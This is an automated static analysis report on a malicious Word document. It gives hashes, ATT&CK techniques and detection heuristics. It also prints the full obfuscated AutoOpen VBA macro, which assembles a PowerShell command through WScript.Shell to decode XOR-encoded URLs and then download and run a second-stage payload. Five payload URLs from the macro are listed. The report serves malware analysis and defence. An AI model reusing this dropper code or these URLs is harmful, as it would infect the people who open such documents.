Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 fcf9e5af91a1e9c9…

MALICIOUS

Office (OLE)

235.8 KB Created: 2018-07-02 07:31:00 Authoring application: Microsoft Office Word First seen: 2021-10-23
MD5: af0870e941a776d5efda87418f75870e SHA-1: 4ee9fda5fd9a10b0beff24c15fc73c362a06d12c SHA-256: fcf9e5af91a1e9c9c86995546e2174bbe7125f9a027bcd06106bd8f383a8e414
410 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1218.004 Client Execution: Signed Binary Proxy Execution T1059 Command and Scripting Interpreter

The sample is a malicious Office document containing VBA macros. The AutoOpen macro triggers the execution of a WScript.Shell object, which is used to run a command. This indicates the document is designed to download and execute a secondary payload, a common dropper behavior. The ClamAV detection 'Doc.Dropper.Agent-6598635-0' further supports this assessment.

Heuristics 12

  • ClamAV: Doc.Dropper.Agent-6598635-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6598635-0
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
    Matched line in script
       DPNdjo = (82115 + zqYER + 37474 + wQdtEj) * 37574 * OlwPE - 33651 / XTKsM
JoQfT = PlAGs + CreateObject("Wscript.shell").Run(TwwGvWUKLoP + Chr(vbKeyP) + pKpZirciXi + Chr(vbKeyO) + JJTIKRof + jaqTKoHI, 825703997 - 825703997)
   aRzNUJ = (75179 + IFvFN + 13694 + RrTvjI) * 97415 * hYlvwS - 8773 / ZGMVzf
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
       DPNdjo = (82115 + zqYER + 37474 + wQdtEj) * 37574 * OlwPE - 33651 / XTKsM
JoQfT = PlAGs + CreateObject("Wscript.shell").Run(TwwGvWUKLoP + Chr(vbKeyP) + pKpZirciXi + Chr(vbKeyO) + JJTIKRof + jaqTKoHI, 825703997 - 825703997)
   aRzNUJ = (75179 + IFvFN + 13694 + RrTvjI) * 97415 * hYlvwS - 8773 / ZGMVzf
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
       DPNdjo = (82115 + zqYER + 37474 + wQdtEj) * 37574 * OlwPE - 33651 / XTKsM
JoQfT = PlAGs + CreateObject("Wscript.shell").Run(TwwGvWUKLoP + Chr(vbKeyP) + pKpZirciXi + Chr(vbKeyO) + JJTIKRof + jaqTKoHI, 825703997 - 825703997)
   aRzNUJ = (75179 + IFvFN + 13694 + RrTvjI) * 97415 * hYlvwS - 8773 / ZGMVzf
  • Payload URL decoded from an encoded PowerShell loader (5 URLs) high OLE_VBA_ENCODED_PS_DROPPER_URL
    A VBA macro assembles (from literals scattered across helper functions) a WScript.Shell command that runs a PowerShell stage-2 loader whose download URL is hidden in a numeric char-code array — decoded at runtime by [char]($_ -bxor k) (or +k / -k) after splitting on obfuscated delimiters. The decoded hosts (often an @-separated fallback list dropped to %TEMP% and executed) are the next-stage payload URLs, never contiguous on disk; surfaced as IOCs. Self-validating: only a transform yielding a valid host URL is reported.
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "jmFTWmC"
Sub AutoOpen()
On Error Resume Next
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.optosvet.com/NZJFq7P/ Referenced by macro
    • http://janeensart.com/cMn6Qso1ny/Referenced by macro
    • http://www.usugeotechno.com/OLDq8XAVG/Referenced by macro
    • http://www.qpalconsultancy.com/wp-content/gZPTPm/Referenced by macro
    • http://vent-postavka.com/0IPz87qOj/Referenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 14220 bytes
SHA-256: 8a2179893b2e2d52e2bc0024ffc5e26e00b69e49e0b65cb94f48ac52702fde53
Detection
ClamAV: No threats found
Obfuscation or payload: likely
297 of 451 identifiers look randomly generated (e.g. 'KGJTqwwJKRss') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "KGJTqwwJKRss"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "jmFTWmC"
Sub AutoOpen()
On Error Resume Next
   BfDXRt = (91983 + JwKOK + 65205 + StJfj) * 30445 * drnYi - 99575 / MdPjat
   fvEEpc = (61271 + SHESw + 67366 + ZwAZvC) * 22518 * tKwDzU - 89426 / joWnzF
   rnZUYj = (37557 + DOVER + 67200 + zdTMK) * 89244 * ZioYcU - 59038 / vsTXJl
   inDau = (86574 + bPdvhq + 86420 + lujzN) * 82753 * ADwlcT - 55829 / tZQbvj
   kzAkH = (46715 + hmohbH + 48923 + MXfBnA) * 52956 * QVwij - 43064 / PzndJ
   zdjIEV = (22874 + vsVLDN + 85100 + ttIIqk) * 28331 * tMLVY - 68690 / dPKOuv
EzzUtU (BsKlKTbzIZc + PzIsN + iILnsH + jZpsZv)
   iiPMUd = (54812 + jJZTE + 89932 + AqNOa) * 28200 * KqYLEr - 92229 / wzAzKd
   dPljZj = (3370 + FfsIOT + 2891 + UfpTYo) * 17538 * kXnKb - 35385 / jrHMz
   uoMIvS = (61834 + jhYwS + 61636 + VJUpG) * 23752 * CsqTnb - 16210 / GHDCa
End Sub
Function EzzUtU(JJTIKRof)
On Error Resume Next
   dKdWcM = (2806 + OOJmkO + 66200 + XrRwmT) * 34901 * iFESaR - 87099 / Fiswq
   dAuMi = (55277 + BrtiT + 69127 + kbEJs) * 3948 * XHjPwU - 87328 / FWjwEO
   EZppR = (56622 + KkGhh + 60490 + ZiFobF) * 85397 * zhHQU - 71210 / wXfzT
   iTDkO = (18773 + zIPnNC + 62003 + iHdJYt) * 55181 * hAIdn - 72330 / CkLHvP
   ENvvM = (77846 + UCSEj + 38769 + CouiB) * 20590 * kFjJN - 48073 / DCulY
   DPNdjo = (82115 + zqYER + 37474 + wQdtEj) * 37574 * OlwPE - 33651 / XTKsM
JoQfT = PlAGs + CreateObject("Wscript.shell").Run(TwwGvWUKLoP + Chr(vbKeyP) + pKpZirciXi + Chr(vbKeyO) + JJTIKRof + jaqTKoHI, 825703997 - 825703997)
   aRzNUJ = (75179 + IFvFN + 13694 + RrTvjI) * 97415 * hYlvwS - 8773 / ZGMVzf
   kXjrGf = (5596 + qKPGb + 83318 + dibZPo) * 65415 * qzDLW - 97673 / lllMi
   DQsMf = (28386 + khLcCc + 57138 + taQqCJ) * 80783 * CUjLpY - 56856 / PIXZN
End Function

Function BsKlKTbzIZc()
On Error Resume Next
zoMDzB = lwtWP * 51672 * 1365 / oIfEL + (jUQEAY + NNJoZF / iMldG - WRqDPF)
   tmEqOa = qOzGM * 4370 * 84651 / EqihYk + (pLTwz + TZobI / HOjaij - DvcBfY)
   fBBnQs = (12590 / tJZHr + 51895 - vsDmfZ)
dBOFMn = "wersh" + "ell   " + "    " + "        " + "    &" + " " + Chr(40) + " $" + "SHElLid["
lWBLX = ciatjv * 21789 * 5148 / LzGTJz + (hfNQt + rwHpoc / GXLJiJ - tOjnMn)
   dPwiGW = kUniv * 40085 * 55209 / vwojJB + (VRnvT + YWjLlU / IPiXq - KFObz)
   fGTWaN = OTwzz * 55601 * 44573 / ijhpV + (sbXBzY + RiMpv / BGunO - wHLQm)
zXbVuUY = "1]" + Chr(43) + "$shEL" + "LId[13" + "]" + Chr(43) + "'X" + "'" + Chr(41) + Chr(40) + " " + "[STRiNg]" + "::joIn" + Chr(40) + "'', "
JArtc = zHTHjq * 66279 * 48550 / DDazQ + (QCQhV + dwJQRw / wYYjJf - qFzRzV)
   CRcshi = cLWKT * 79692 * 17901 / XZXDi + (vllJH + PZlXu / ZGzqEt - mzfUp)
   zHHIp = cpVzG * 76869 * 65994 / bmqGiU + (nlwoAJ + SwaDF / rqAhwJ - QCOCq)
IwwRTYF = Chr(40) + "[cHaR" + "[]] " + Chr(40) + "1" + ",74, " + "76 ,1" + "04 , 2" + "4, 75,64," + " 82, 8 ,"
XuVpWf = puOKh * 1363 * 55917 / jBYjVV + (ADPUA + DrnsnE / XAswb - NVmoQ)
   SXfvI = FjtnD * 46184 * 76492 / COjub + (HDNzvf + WiVGi / PBwwO - wbQQVK)
   UiuFU = stzaM * 13813 * 26146 / LJqOt + (ahfWRT + iKDzh / JINOLw - EFazU)
VTuaaMQXi = "74, 71 , " + "79 , 64 ," + "70,81 " + ",5 , " + "107 " + ", 64, 81 " + ",11 ,11" + "4 ,64,71" + " , 102" + " ,73, 7" + "6,64,75 ," + "81 , 30"
WcSSW = zirDA * 94629 * 98607 / jHbElR + (Orbtf + dKwDJ / ZDDwc - wkWzXH)
   zwWaR = WWRwA * 16987 * 10547 / kjNwf + (buvYb + fPvNLi / rbImh - CscqmR)
   RMsOs = oVztSa * 2699 * 59572 / mDaStw + (MjJZE + IDOPz / jRKcv - wjJdh)
wqlnsGCoAPP = ", 1 " + ",95, 1" + "02 ,1" + "24 , 24, " + "2 , 77" + " ,81, 8"
sspVBC = jHLDGN * 81559 * 61231 / NOkUF + (XCbmV + OEazz / orsZqG - LFfMc)
   wQCHY = zIGta * 2562 * 48051 / SJtQX + (tlNwu + khurJG / MqQiHv - FoKNw)
   itWlAm = zuIkr * 47431 * 81739 / UUszr + (ZncLzN + jkOTTE / RHYwRH - fvTED)
ijujHoR = "1 , 85, 3" + "1 , 10" + ", 10" + " , 82, " + "82,82," + "11, 74" + " ,85 ," + " 81,74, 8" + "6, 83" + " ,64" + " ,81"
lJjtK = GIuzbq * 53953 * 62500 / KRzia + (wsTfNQ + EEhjz / CzJYG - qwpGi)
   ZLqBvI = iDjOm * 44326 * 97344 / wZcvuV + (RtaFj + JsRRIw / jDFwh - OMMMqI)
   FXnbvc = qjUmtO * 64079 * 25789 / DkDIP + (oYoYd + uHsqws / wbdfX - GIWGf)
cAuhDAfZE = " ,11 ,70," + " 74, 72," + " 10, 10" + "7 ,127 ,1" + "11, 99" + " , 84" + " , 18 ,"
sRRwm = RWVBF * 85001 * 38276 / SkuFlr + (sDFbT + ZdSCzz / FCMub - rMKBmM)
   KKDrsz = mNlTYA * 4003 * 48349 / zjdib + (oBlAjw + dqOmI / jDsEJv - LWwoC)
   FztBv = MhimR * 31379 * 26205 / UwDpPr + (UdVBtq + jzJmo / ISNCJ - XPdPi)
ffjww = "117 ,10," + " 101, 7" + "7 , " + "81 , " + "81 ," + " 85 , 31," + "10 ," + " 10 , "
EobFUS = wbuLSK * 69040 * 66541 / iBsMJr + (MGIFXf + wvRjFt / SFDME - foVmz)
   SHBiSu = SDbOz * 21125 * 61789 / MtFpn + (rNqMI + hcYaW / BoaAnw - QXwOuv)
   DjbbtC = nzOMU * 36868 * 38714 / tDzHuv + (QYAiCA + iBSPi / qBqJvm - FozaIP)
ECWJh = "79,68" + ", 75," + " 64 , 6" + "4, 75, 8" + "6 , " + "68 , 8"
KuDCi = TUaBCu * 68557 * 99150 / OMOqvj + (rziXP + torTM / hJpBQz - fBwNSA)
   jYUJVs = HQNiNj * 72259 * 82595 / qHNSK + (XSOls + tDwrR / bzPMkz - QVfzB)
   jTMCjR = wPzMN * 6917 * 34180 / vQAdip + (MwoAEi + YkVFq / YmtiOs - lSspIm)
wWbms = "7, 81 ,11" + ",70,74 " + ",72 , " + "10 , 7" + "0 ,104 " + ", 75 ," + "19, 11" + "6 ,8" + "6 , 74 ," + " 20, "
uSRTDS = IEFJp * 92526 * 50436 / PcnBWw + (MjIdi + ZdifX / aTQXYq - kwBSoo)
   Poikt = vizTPJ * 42245 * 84697 / SLmNW + (GjZbDk + mirbI / tDGbdk - LhGuwj)
   XCIRIG = ADEXK * 60239 * 18450 / mJjhGR + (YLztwD + slMXR / qfZKGC - GldGRo)
LVkzkqnoTX = "75, 92," + "10 , 10" + "1 , 77 ," + " 81,81" + " , 85, 31" + " , 10"
BsKlKTbzIZc = dBOFMn + zXbVuUY + IwwRTYF + VTuaaMQXi + wqlnsGCoAPP + ijujHoR + cAuhDAfZE + ffjww + ECWJh + wWbms + LVkzkqnoTX
   AscLRR = LiwZv * 40276 * 90063 / sGkCf + (cPQpJo + ldfoza / NTzszX - dImrQ)
   DlBXZo = nRvTY * 85190 * 69062 / ccvRq + (ZocbEt + vLKQt / HEMml - wAwJnb)
   TSdHu = qmGiK * 51335 * 75074 / jbbiSA + (YzFPKq + JLRUo / FGAWk - EoNiM)
End Function
Function PzIsN()
On Error Resume Next
NmwNY = VCYlP * 60168 * 38841 / zAORH + (DbwDF + TrtrB / lMhlj - tWlco)
   XthcqB = Vjjjjj * 66275 * 79451 / ZWiXOU + (vNLhu + fSRcH / NmVQbE - bcuDZ)
   iIpYlw = XdMWI * 54364 * 57351 / ARkwu + (CYGsC + UwHdw / HJdnGD - WVkHd)
ilzXXdch = ",10,82,8" + "2, 82 ,1" + "1, 8" + "0 , 86,8" + "0,66," + "64,74,81 " + ", 64,70" + " , 77 , " + "75 ,74" + " , 1" + "1,70 , "
TAXDw = uIKLt * 58963 * 8336 / FjnOw + (pJKjkU + zKStL / istkIa - hFlqn)
   vcjGTH = zrAlO * 16563 * 7860 / LNrzu + (nRXNpD + uIMXP / OvBjGi - zdzdCK)
   GlHEa = OcwARl * 80618 * 86477 / RmiIh + (GtHSLR + Xknam / zUzPQT - YMlvvv)
ZUpnbT = "74 ," + "72,10" + ", 106" + ",105," + "97, 84 " + ", 29" + ", 125,10" + "0 ,1" + "15 ," + "98 ," + "10 ,10"
wjwdRj = YHkfbU * 67042 * 44297 / qnMOWG + (IimPRO + lldkj / IMWXVE - LIEav)
   HtYFbz = jvjcT * 57711 * 99088 / WzLhuq + (lnZzfd + EqoGP / fvojui - UZCoW)
   aZsuLP = djJqq * 37717 * 53317 / wwsRhA + (MMwfnk + kYTtIu / FQGiHA - iDtowd)
PiqKbN = "1 ,77 ,8" + "1 , 81,85" + " ,31" + " ,10,10," + "82 , 82 " + ", 82,11 ," + " 84 ,85" + " , 68 ," + " 73, " + "70, 74,"
WGGjf = oZFjTH * 70587 * 57787 / UijfpZ + (QhznB + zXGjw / NWQcs - bzfSEz)
   EttbMO = rtHuF * 96036 * 75056 / GHqnZ + (wNZTb + cWLYOQ / kwYHD - TVbGqW)
   djObH = qGnwi * 37214 * 54200 / vwuwj + (ujdQo + SjPAZM / OkcXJ - MqWUN)
NHAilNaVM = " 75 ,86" + ",80 , 73 " + ",81,68" + " , 75, 70" + " ,92 , " + "11 , "
rCLvcw = vJcPZq * 88747 * 5684 / sEVHk + (pPzWX + mXnklh / nAADZ - REOhwM)
   zBsWzs = okriw * 75406 * 62438 / TZwrv + (XmTjDq + wfWaM / qwVDZ - JLkBh)
   HpBtX = hzUpY * 68310 * 85843 / ichZkL + (QHEFqw + aXwdA / tPwij - PCtjr)
GzHJfu = "70,74" + " , 7" + "2 , 10, 8" + "2 , 85,8" + " , 7" + "0 , 74" + ",75, 81 ," + "64 , " + "75 , 81,1"
IWwmr = CRRjk * 86596 * 51640 / MJvtnc + (PkrmjC + oTjGFI / ToDJi - dVbTH)
   jISaC = Dzmvb * 60482 * 71198 / vvmMv + (iRYhhb + qnqBoD / nKDAjt - uwpbb)
   CCTjjZ = RNvzF * 49240 * 4550 / lofnJ + (PGrAvW + VaiBK / kkDHDL - uZECz)
uzWNKwv = "0, 66 ," + " 127 , 11" + "7 , " + "113 , 1" + "17 ," + "72 ,10" + ",101, 77"
NaFzjM = WZrOc * 73985 * 1080 / pcTZI + (FdswKw + XmZjf / YMFnIZ - RmiVH)
   zdnzY = pTnzAP * 18892 * 21579 / XRzciV + (PRajMM + mnKnpm / nMVjjL - punHch)
   NtkCv = zdtlHA * 22478 * 8601 / dzAin + (NsUsk + bLtJY / apvDRo - GfZhh)
aoCaEO = ",81,8" + "1,85, " + "31 , 10,1" + "0 , 8" + "3,64, 7" + "5, 81," + " 8 ," + " 85,74,8" + "6 ,8" + "1, 68 , " + "83,78,68 "
dVZSBi = Iimmh * 86170 * 39933 / zvaVDO + (fXLJc + BchIVW / RlQrW - jtNjE)
   KXSzMr = lKiTW * 54540 * 7490 / fqzqIk + (tjMfw + mLjtBY / XzTmjj - BRwEJ)
   mdELn = YwIzN * 653 * 43106 / pwnRi + (nbzkoK + vSSzXr / LvSamj - AQPrn)
MFGFOAIi = ",11 ,70 ," + "74 ,72 " + ", 10 " + ",21 , 10" + "8, 117" + ", 95 ,29 " + ", 18 ,84" + ", 106," + " 79," + " 10 " + ", 2, 1" + "1, 11"
PUpqd = EXKdiT * 38356 * 91394 / wwCkP + (WEFvX + MVlPZX / fcQFkq - HJGwK)
   zUEar = BsQDU * 76641 * 82466 / kYfMXL + (VmkGvw + wNTFi / kidHU - pNFMM)
   LCBVYi = NYpCG * 84507 * 4647 / GCFiM + (IhNij + hiLSrG / QhzGI - PIobj)
TsSNTJiRaRf = "8,85," + " 73 " + ", 76, 81" + ",13 , 2, " + "101 " + ",2,12, 30" + ",1, 79," + " 79," + "83, 5" + " ,24"
PqqGuH = Imcijr * 55220 * 86492 / juOvvu + (EEMDoA + kLMYv / sWcsjj - cSvOt)
   IFlsn = OJQNb * 69410 * 66471 / BjSZKW + (faEBK + idWzj / nFzbFW - VIvOs)
   ZztRCc = DtPjvG * 71565 * 85350 / YOIvZ + (ijqSt + CMzJl / SMbUMz - rmMjKi)
jYDYCuk = " , 5, 2," + " 16 , 16" + ",21 " + ",2,30,1,7" + "2 ,82 " + ", 68 ,2" + "4 ,1,64," + " 75 ,83,3" + "1 ,81" + " , 64 ,"
PzIsN = ilzXXdch + ZUpnbT + PiqKbN + NHAilNaVM + GzHJfu + uzWNKwv + aoCaEO + MFGFOAIi + TsSNTJiRaRf + jYDYCuk
   FFbLv = ajbsV * 37871 * 14175 / UdLzp + (GwNLjv + qdIZY / ErcNL - XPnouM)
   Zkzav = PCSii * 65695 * 35758 / MAtjtA + (tIHFbF + hpXhsp / QmiDz - HQAhhY)
   qcAAwh = NmChD * 21257 * 15107 / sSUSjO + (JSVOOt + lIwKK / ijLPr - RFUuoV)
End Function
Function iILnsH()
On Error Resume Next
jNjwqU = XTzzJu * 15120 * 74863 / UwPzs + (fiFcL + uWNKj / MtlXj - kLTvlT)
   ikUbO = nBuXo * 47542 * 49829 / aBXRju + (jNAdRI + tHRUaK / insjdS - JSiQGZ)
   qcmnpk = vtJrQf * 99945 * 30836 / DTSzQC + (sPALRN + ITwwF / DqTojH - ilzfl)
oAqiWp = " 72 ,8" + "5 , 14 " + ",2, 121,2" + " , 14 , " + "1, 79, " + "79 ,83, 1"
wGTNl = MRhplY * 61357 * 57155 / WwIwJ + (FMCZEO + wFBluQ / OiTwp - ZXJmAR)
   JiWLwt = YdqMCR * 21423 * 20633 / wBFIQ + (tknSQV + hiQtr / wXYzr - TWszt)
   TWLJR = ZrTiwr * 27296 * 16090 / czjmam + (sVwOZO + tkwlFs / jMwTK - tLnjV)
dJKhZpnic = "4, 2 ," + " 11,6" + "4 ,93,64 " + ",2 ,30 " + ",67 ,7" + "4 , 87," + " 64 , 68"
mCNNiO = WQViw * 96027 * 38089 / cMWlz + (QoiWIX + JNGjO / iQMbCI - ZNwOqk)
   cIEuU = WCBCJw * 46730 * 91081 / bKqBP + (MnWzXR + aojXw / iTwnii - kwhpj)
   EzZjC = bttRoj * 24101 * 46312 / coAdP + (BodLH + AiDQYn / kwfRi - oYUQi)
GLJJKBfQX = " ,70," + "77,13,1 " + ", 112" + ", 81,82, " + "5,76 , " + "75, 5,1 ,"
CHBpc = ainsw * 67033 * 29912 / DLpZHz + (OnUbS + nqmlF / QVzDq - baEYq)
   jLKjM = QVLtA * 84575 * 50731 / MTYSK + (ioMbTY + FjlmA / LirsGD - HrCHb)
   wIlLD = QWOjqV * 83084 * 4645 / DOBiT + (nPlTdP + CpQfX / OAbud - OIBdkj)
SsQbw = "95, 102 " + ",124 ,1" + "2, 94 ,8" + "1 ,87,9" + "2 ,94 , 1" + " ,74, 76"
WkFSj = hTPHk * 22696 * 33508 / KkDhv + (SHdJb + zuNpi / BoIBX - oBURZ)
   inMXjz = swNoDM * 38560 * 6728 / zXEviz + (wQznJ + ldkVRB / pTNcrj - GGhvl)
   JqPTvB = AczoUj * 26942 * 19572 / nrAHti + (TGHwQj + BqwcS / zTvkIF - ThdWc)
GKHAYam = ",104 , " + "11 ,97,7" + "4,82, " + "75 ,73" + " , 7" + "4,68 ,65"
bwNkK = JvQzw * 93704 * 26385 / UjFFVW + (bwELB + idOaP / TNjNHB - cNPMR)
   abMkiL = nzHwR * 67577 * 17485 / HGUBi + (RjwnjO + pdbrLN / JfJQpj - iDiMTi)
   dRZVs = DzATC * 29820 * 12290 / qbQmGZ + (jJcEI + kstwB / RfKfdC - miDils)
kzDjhohY = ",99," + " 76 , 73 " + ",64 , 13 " + ",1 ,112 ," + " 81 ,82 " + ", 9," + "5 ,1 , 72" + ",82 ,6" + "8,12," + " 30,11" + "8,81," + " 68 ,"
CzXRid = uwlwm * 34151 * 61824 / YToPqh + (NqUROR + LHKmjt / zphlwI - OCImKT)
   CwNpi = YwaDiC * 69184 * 34493 / pPVFb + (FKRDQ + jXGPPM / rzwvE - JiuDGQ)
   TjOWdH = LJAzJY * 18245 * 91805 / RCWiQu + (nTwEOt + LknTii / GkTRU - MjDjr)
fNYlHPjZ = "87,81 , " + "8 ,117 ," + " 87 ," + "74 ," + " 70 ,64 ," + " 86,8" + "6, 5,"
iILnsH = oAqiWp + dJKhZpnic + GLJJKBfQX + SsQbw + GKHAYam + kzDjhohY + fNYlHPjZ
   dKzKH = AXEDR * 54262 * 22040 / EjzYX + (kNfTz + AJFsw / iiNwzR - NXiVc)
   JEYRj = IMjbvl * 86151 * 72298 / LAmBlR + (zUAHlq + wcXNX / Zfjpn - HjHWRZ)
   aPqaA = jhwRPw * 22177 * 72625 / lzimCZ + (GduYjw + LiDzZk / UMiRCR - QVzwIl)
End Function
Function jZpsZv()
On Error Resume Next
VLwLJF = pZtza * 25988 * 96107 / DjQnEU + (JzvFm + YptBMS / XMOwnp - htRCXw)
   TVEWOh = JWjTu * 26206 * 91959 / ZqjFR + (aYdIQ + IaFtOa / mOdlw - sihXQ)
   NcSCz = wtDXP * 58117 * 56258 / tzqRL + (ithEG + hHKwFs / EkliH - lzpiG)
OhLzVazmK = "1 , 72,8" + "2 , 6" + "8 ,3" + "0 ,71, " + "87 ,64 ,6" + "8,78, 3" + "0 ,88 , 7"
DKrhwc = ppnDV * 82972 * 50027 / YlUIUE + (XNQGRS + lvhrzK / fYjtFp - cZBTi)
   UEUztV = dvrziw * 69762 * 94386 / pmRWWi + (htXiO + WGcVbf / PcWKE - tdmMj)
   owQkM = OCwPE * 36765 * 70816 / kAvOu + (arUUz + jZPjt / oVjqcR - zjUOw)
qbobzjPR = "0,68 ,81 " + ", 70" + ",77 , 94 " + ", 88," + " 88" + Chr(41) + " |fOReaC" + "h-oBJEcT" + "{ [cHaR]" + Chr(40) + "$_-B"
LDnKt = GVMYCv * 75096 * 67021 / iHkiw + (FLqBwz + NCPPZn / DLWSht - YTKbaH)
   RkDXaP = aicowM * 97830 * 86305 / CDYJnK + (rwYUt + GwjMiA / krMWN - OApjIv)
   UsRDL = QndRqK * 6149 * 8727 / rVitP + (tNoPOP + uoOmm / RtddfV - zBGqiC)
spKILGml = "xOr '0x2" + "5' " + Chr(41) + " } " + Chr(41) + " " + Chr(41) + " " + Chr(41) + " "
jZpsZv = OhLzVazmK + qbobzjPR + spKILGml
   jzKzju = cQYRZ * 20523 * 79541 / NwZlFX + (HRJMf + ZbRIj / BiwHq - wtvuR)
   ihOJXF = EWCwhZ * 86662 * 59578 / ARhbK + (Qpswu + dJEWvU / MSiHV - khoXjO)
   WhwazY = swIzA * 21314 * 15296 / JmWzC + (TlRBE + jsfaVp / rUQob - ZLOOV)
End Function


Attribute VB_Name = "MkamcJmbJtVS"

Open this report in the interactive analyzer, or submit your own file for analysis.